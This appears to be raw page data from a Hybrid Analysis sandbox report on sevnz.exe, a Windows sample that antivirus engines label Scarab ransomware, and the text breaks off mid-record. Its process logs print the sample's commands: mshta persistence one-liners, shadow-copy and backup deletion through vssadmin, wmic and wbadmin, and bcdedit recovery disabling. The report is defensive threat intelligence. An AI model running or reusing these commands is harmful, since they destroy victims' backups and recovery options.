26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T484,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample d3a28327df38… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d3a28327df38…. Malware family: Trojan.Generic. Threat score 100/100. 24/28 AV engines flagged this file. 9 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469"],"about":{"@type":"SoftwareApplication","name":"sevnz.exe","applicationCategory":["peexe","executable"],"identifier":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":24,"total":28},"behavioralIndicators":{"malicious":9,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T438,"" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\D3A28327DF38C258A8AF00E5EB89ABBEF5CCF12C22E31B83B72A153D2B15F469.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\D3A28327DF38C258A8AF00E5EB89ABBEF5CCF12C22E31B83B72A153D2B15F469.EXE") "" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SEVNZ.EXE") "" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SEVNZ.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE"; Key: "PATH"; Value: "00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000") "mshta.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "mshta.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE")28:T986,Spawned process "cmd.exe" with commandline "/c copy /y "C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" "%APPDATA%\sevnz.exe"" (UID: 00015801-00003348) Spawned process "" with commandline "runas" (UID: 00015819-00003540) Spawned process "cmd.exe" with commandline "/c copy /y "C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" "%APPDATA%\sevnz.exe"" (UID: 00015971-00003404) Spawned process "sevnz.exe" (UID: 00015986-00003528) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe');close()}catch(e){}} 10);"" (UID: 00015988-00003496) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ILRTISo',i);}catch(e){}} 10);"" (UID: 00016168-00003592) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\MPOWA\\VXZO['));close();"" (UID: 00016169-00003628) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00016197-00003704) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00016201-00003688) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00016204-00003708) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00016208-00003744) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00016212-00000960) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00016223-00001808) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00016223-00004000) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00016224-00001168) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00016226-00002972) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00016227-00002948)29:T48a,"C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\sevnz.exe" for deletion "%APPDATA%\sevnz.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\sevnz.exe" for deletion "%APPDATA%\sevnz.exe" marked "C:\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\AIR\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\Browser\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\IDTemplates\DEU\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\IDTemplates\ENU\я" for deletion "%APPDATA%\sevnz.exe" marked "C:\Program Files\Adobe\Reader 11.0\Reader\Javascripts\я" for deletion2a:T6df,"" opened "C:\Users\N2kf7nT\AppData\Roaming\sevnz.exe" with delete access "sevnz.exe" opened "C:\Users\N2kf7nT\AppData\Roaming\sevnz.exe" with delete access "sevnz.exe" opened "C:\я" with delete access "sevnz.exe" opened "C:\autoexec.bat" with delete access "sevnz.exe" opened "C:\config.sys" with delete access "sevnz.exe" opened "C:\pagefile.sys" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\я" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Liesmich.htm" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\ReadMe.htm" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\я" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\Adobe.Reader.Dependencies.manifest" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AGMGPUOptIn.ini" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\cryptocme.sig" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\PDFSigQFormalRep.pdf" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\pmd.cer" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\RTC.der" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\Èíñòðóêöèÿ ïî ðàñøèôðîâêå.TXT" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\я" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\cef.pak" with delete access "sevnz.exe" opened "C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\я" with delete access2b:T650,"" wrote 32 bytes to a remote process "C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" (Handle: 396) "" wrote 52 bytes to a remote process "C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" (Handle: 396) "" wrote 4 bytes to a remote process "C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" (Handle: 396) "" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\sevnz.exe" (Handle: 532) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\sevnz.exe" (Handle: 532) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\sevnz.exe" (Handle: 532) "" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 196) "" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 196) "" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 196) "sevnz.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 332) "sevnz.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 332) "sevnz.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 332) "sevnz.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 360) "sevnz.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 360) "sevnz.exe" wrote 4 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 360)2c:T9c1,Spawned process "" (UID: 00015604-00003224) Spawned process "cmd.exe" with commandline "/c copy /y "C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" "%APPDATA%\sevnz.exe"" (UID: 00015801-00003348) Spawned process "" with commandline "runas" (UID: 00015819-00003540) Spawned process "cmd.exe" with commandline "/c copy /y "C:\d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe" "%APPDATA%\sevnz.exe"" (UID: 00015971-00003404) Spawned process "sevnz.exe" (UID: 00015986-00003528) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469.exe');close()}catch(e){}} 10);"" (UID: 00015988-00003496) Spawned process "mshta.exe" with commandline ""javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\ILRTISo',i);}catch(e){}} 10);"" (UID: 00016168-00003592) Spawned process "mshta.exe" with commandline ""javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\MPOWA\\VXZO['));close();"" (UID: 00016169-00003628) Spawned process "cmd.exe" with commandline "/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00016197-00003704) Spawned process "cmd.exe" with commandline "/c wmic SHADOWCOPY DELETE" (UID: 00016201-00003688) Spawned process "cmd.exe" with commandline "/c vssadmin Delete Shadows /All /Quiet" (UID: 00016204-00003708) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} recoveryenabled No" (UID: 00016208-00003744) Spawned process "cmd.exe" with commandline "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00016212-00000960) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} recoveryenabled No" (UID: 00016223-00001808) Spawned process "bcdedit.exe" with commandline "bcdedit /set {default} bootstatuspolicy ignoreallfailures" (UID: 00016223-00004000) Spawned process "vssadmin.exe" with commandline "vssadmin Delete Shadows /All /Quiet" (UID: 00016224-00001168) Spawned process "WMIC.exe" with commandline "wmic SHADOWCOPY DELETE" (UID: 00016226-00002972) Spawned process "wbadmin.exe" with commandline "wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" (UID: 00016227-00002948)2d:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790733530911,"unified_at":"2026-09-30T01:58:50.911Z","metadata":{"hashes":{"sha256":"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469","sha1":"e1af2b38723d99578733f93cf556876df0e6cd77","md5":"9a02862ac95345359dfc3dcc93e3c10e","sha512":"6be8684dfbe9de38482166c404674ad09146b121f6e2bfbc110350a045900e2978032827bbc4d6e4fad29f46594edfc11ae0904d1d0d815219eb66583966afc3","ssdeep":"3072:m/qzYqvlA59P/alhD3eW5xSmc0/rHPzaF+nF34y0+w9oI:m/qPdKloOWbJrvzaFEF34Suo","ssdeep_chunks":["3072:m/qzYqv","3072:/qzYqvl","3072:qzYqvlA","3072:zYqvlA5","3072:YqvlA59","3072:qvlA59P","3072:vlA59P/","3072:lA59P/a","3072:A59P/al","3072:59P/alh","3072:9P/alhD","3072:P/alhD3","3072:/alhD3e","3072:alhD3eW","3072:lhD3eW5","3072:hD3eW5x","3072:D3eW5xS","3072:3eW5xSm","3072:eW5xSmc","3072:W5xSmc0","3072:5xSmc0/","3072:xSmc0/r","3072:Smc0/rH","3072:mc0/rHP","3072:c0/rHPz","3072:0/rHPza","3072:/rHPzaF","3072:rHPzaF+","3072:HPzaF+n","3072:PzaF+nF","3072:zaF+nF3","3072:aF+nF34","3072:F+nF34y","3072:+nF34y0","3072:nF34y0+","3072:F34y0+w","3072:34y0+w9","3072:4y0+w9o","3072:y0+w9oI","6144:m/qzYqv","6144:/qzYqvl","6144:qzYqvlA","6144:zYqvlA5","6144:YqvlA59","6144:qvlA59P","6144:vlA59P/","6144:lA59P/a","6144:A59P/al","6144:59P/alh","6144:9P/alhD","6144:P/alhD3","6144:/alhD3e","6144:alhD3eW","6144:lhD3eW5","6144:hD3eW5x","6144:D3eW5xS","6144:3eW5xSm","6144:eW5xSmc","6144:W5xSmc0","6144:5xSmc0/","6144:xSmc0/r","6144:Smc0/rH","6144:mc0/rHP","6144:c0/rHPz","6144:0/rHPza","6144:/rHPzaF","6144:rHPzaF+","6144:HPzaF+n","6144:PzaF+nF","6144:zaF+nF3","6144:aF+nF34","6144:F+nF34y","6144:+nF34y0","6144:nF34y0+","6144:F34y0+w","6144:34y0+w9","6144:4y0+w9o","6144:y0+w9oI","3072:m/qPdKl","3072:/qPdKlo","3072:qPdKloO","3072:PdKloOW","3072:dKloOWb","3072:KloOWbJ","3072:loOWbJr","3072:oOWbJrv","3072:OWbJrvz","3072:WbJrvza","3072:bJrvzaF","3072:JrvzaFE","3072:rvzaFEF","3072:vzaFEF3","3072:zaFEF34","3072:aFEF34S","3072:FEF34Su","3072:EF34Suo"],"imphash":"efb80292491fb9d7c665ecb8153f62c7"},"file_info":{"file_name":"sevnz.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":193024,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1514040727000,"last_seen":1677393945000,"last_multi_scan":1677393945000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["ransomware"]},"stats":{"av":{"malicious_count":24,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":15,"suspicious_count":16,"malicious_count":9,"total":40},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Generic.lArK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Scarab","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.SGeneric","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Downloader.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"DeepScan:Generic.Ransom.Amnesia.6F36A029","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Agent-6429962-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.Win32.TrojanDownloader.Delf.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Trojan.IJQ.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"DeepScan:Generic.Ransom.Amnesia.6F36A029 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Filecoder.FS trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Ransom/Kitoles.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004f6e981 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Win32.Purga.ed","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXDM-JB!9A02862AC953","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.ewdzie","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Scarab-K","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.DP-Scarab.193024","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_SCARAB.F","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_SCARAB.F","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Encoder","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Filecoder.Win32.7044","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"},{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@kernel32.dll at 20504-1075-0040624C","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"},{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@kernel32.dll at 20504-923-004061E4","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"},{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"},{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteKeyA\n RegCloseKey\n RegDeleteValueA\n RegCreateKeyExA\n RegOpenKeyExA\n RegEnumKeyExA\n GetFileAttributesA\n GetVersionExA\n GetModuleFileNameA\n LoadLibraryA\n FindNextFileW\n OpenProcess\n LockResource\n GetCommandLineW\n UnhandledExceptionFilter\n WinExec\n DeleteFileW\n GetProcAddress\n CreateThread\n GetModuleFileNameW\n GetModuleHandleA\n FindFirstFileA\n WriteFile\n GetStartupInfoA\n GetCommandLineA\n FindFirstFileW\n LoadLibraryExA\n TerminateProcess\n CreateFileW\n CreateProcessW\n Sleep\n GetTickCount\n FindResourceA\n VirtualAlloc\n ShellExecuteW\n InternetReadFile\n InternetOpenUrlA\n InternetCloseHandle\n InternetOpenA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"},{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"d3a28327df38c258a8af00e5eb89abbef5ccf12c22e31b83b72a153d2b15f469\" has a section named \".itext\"","origin":"Static Parser","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"50/65 Antivirus vendors marked sample as malicious (76% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"},{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"50/65 Antivirus vendors marked sample as malicious (76% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a815fd67ca3e1746566f523"},{"report_type":"sandbox","report_id":"5a3e6b227ca3e164143ee303"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"WMIC.exe\" issued a query \"SELECT * FROM Win32_ShadowCopy\"","origin":"API 